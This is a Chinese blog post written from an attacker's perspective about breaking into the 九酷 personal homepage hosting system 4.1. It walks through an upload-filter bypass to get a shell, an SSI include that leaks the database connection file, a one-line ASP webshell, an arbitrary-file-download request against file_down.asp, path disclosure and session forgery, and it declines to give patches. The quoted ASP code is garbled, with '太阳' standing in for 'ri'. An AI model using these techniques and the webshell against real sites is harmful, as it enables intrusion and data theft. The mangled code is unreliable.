再探九酷网络个人主页空间管理系统
- 发布于:2020-02-17
- 共 207 人围观
1、上传漏洞。
程序的编写者犯了一个较易被忽略的错误-仅在后台管理中配置”禁止”上传的文件的类型,而并非”允许”上传的类型,这样极容易忽略一些危险的扩展名。(图一)
我们来看界面,选择一个asp文件上传,程序提示扩展名非法(图二),好的,我们把扩展名改为asa,上传,成功,得到了一个Shell。(图三)
但是我们运气不会总是这么好吧,如果有经验的网管把asa,cer等文件的asp.dll映射删除了怎么办呢。我们可以利用SSI来获得敏感信息。
什么是SSI呢,SSI是Server Side Include的缩写,即服务器端包含,这个功能可以在服务器端包含一个文件,由ssinc.dll这个文件负责包含文件。譬如我们在asp中常用的<!--#include file=”conn.asp”-->即是SSI的一种应用。
在本地写一个文件,内容是<!--#include file=”inc/conn.asp”-->,保存为look.stm上传到服务器上,然后访问此文件,查看源文件,你就可以看到程序的数据连接文件的内容了。(图四)这个系统的数据库没有作防下载处理,我们可以放心下载。但是注意:如果文件名是有特殊符号的,我们应该用ASCII码转换器来转换正确的地址。
关于上传,还有一个漏洞就是,这个系统用的是5xsoft的通用上传类,有没有上传漏洞呢,这个漏洞很老了,希望大家自己动手试试看。
2、保存漏洞。
新的4.1的九酷,对读目录、文件和删除都作了不错的权限判定,如果直接改参数会报错说没有权限(图五),并且改文件名的时候程序也会一样判断是不是危险类型。
经过测试,玄猫发现在文件编辑保存模块出现了小洞洞,我们可以把文件顺利地保存为asp的扩展名,但是程序会对文件内容进行检查,一些危险字符是不能用的,不过我们可以用一句话木马,在文件中写入:<%execute request(“value”)%>,然后用玄猫改进的一句话木马客户端写入新的文件即可。
3、Stream下载文件漏洞。
程序在网站管理中有个功能是下载文件,是在服务器端以二进制方式读出文件,然后以流输出到客户端浏览器,负责这个功能的是file_down.asp文件。我们来看关键代码:
call downloadFile(Request("path")) ‘获取参数path的值,即要下载的文件
function downloadFile(strFile)
strFilename = fullpath&strFile
Response.Buffer = True
Response.Clear
Set s = Server.CreateObject("ADODB.Stream") ‘建立Stream对象
s.Open
s.Type = 1
on error resume next
Set fso = Server.CreateObject("Sc太阳pting.FileSystemObject") ’建立Stream对象
if not fso.FileExists(strFilename) then ’如果文件不存在
Response.W太阳te("<h1>Error:</h1>" & strFilename & " does not exist<p>")
Response.End
end if
Set f = fso.GetFile(strFilename)
intFilelength = f.size
s.LoadFromFile(strFilename) ’读入文件
if err then
Response.W太阳te("<h1>Error: </h1>" & err.Desc太阳ption & "<p>")
Response.End
end if
’开始输出文件
Response.AddHeader "Content-Disposition", "attachment; filename=" & f.name
Response.AddHeader "Content-Length", intFilelength
Response.CharSet = "UTF-8"
Response.ContentType = "application/octet-stream"
Response.BinaryW太阳te s.Read ‘以二进制方式发送文件流
Response.Flush
s.Close
Set s = Nothing
End Function
程序没有检测是否有权限访问要下载的文件,就通通给输出了,这样我们就可以下载服务器上的任何文件了,先提交file_down.asp?path=inc/conn.asp,下载数据库连接文件,然后就可以下载数据库了。注意:因为访问的文件是file_down.asp,所以下载的文件地址应该是相对根目录的,不要搞错了哦。
4、暴露系统路径漏洞。
这个漏洞还是由于上面的file_down.asp文件引起的,我们看到,这个模块的一个错误处理是当文件不存在时提示,但是程序很好心的连路径一起提示了,这样当我们试图下载一个不存在的文件时,就会得到系统路径。(图六)
程序的漏洞到这里就算说完了,但是玄猫在文章还要说些关于这种系统的看法:
个人认为,这种系统如果要做到安全性非常好的话,只有不提供asp的免费空间,这样将用户网站的数据目录的执行权限去掉,禁止其运行asp等由asp.dll解析的文件或这应用SSI随便读取文件,当然,这样网站提供的服务就单调很多了。可能有的朋友认为我说的过于绝对了,除去程序的漏洞不说,让我们来想想这样构建有什么弊病:
1、用户权限难以设定:
只要用户的权限设定有误,就可能造成用户可以越权到其他用户的目录或者网站的其他目录。
这个问题当前没有很好的解决方式,除非给每个空间的用户单独配置internet来宾账号的权限,这样提供商的工作量就会大大加大。
2、session混乱难以控制:
即使像上面那样作了单独的配置,但用户始终在一台服务器上,一般提供的域名也是按照目录的方式,这样主域名一定是相同的,譬如所有用户的网址都是形如:http://blackwoods.cn/yourname的形式,但是前面的blackwoods.cn都是相同的,这样就导致用户只要可以运行asp,就可以自己构造session,加之程序中判定用户是否登录仅凭session中的用户名或者session是否为空,不在session中保存密码以密码来判定,这样我们就可以自己构造session欺骗系统以达到登录管理或其他用户的目的。
因为漏洞比较多,并且比较明显,所以玄猫在这里就不给出漏洞的补丁了,大家可以试着对editfile.asp、upfile.asp这些文件进行修改,如果大家对这个系统还有什么更好的想法.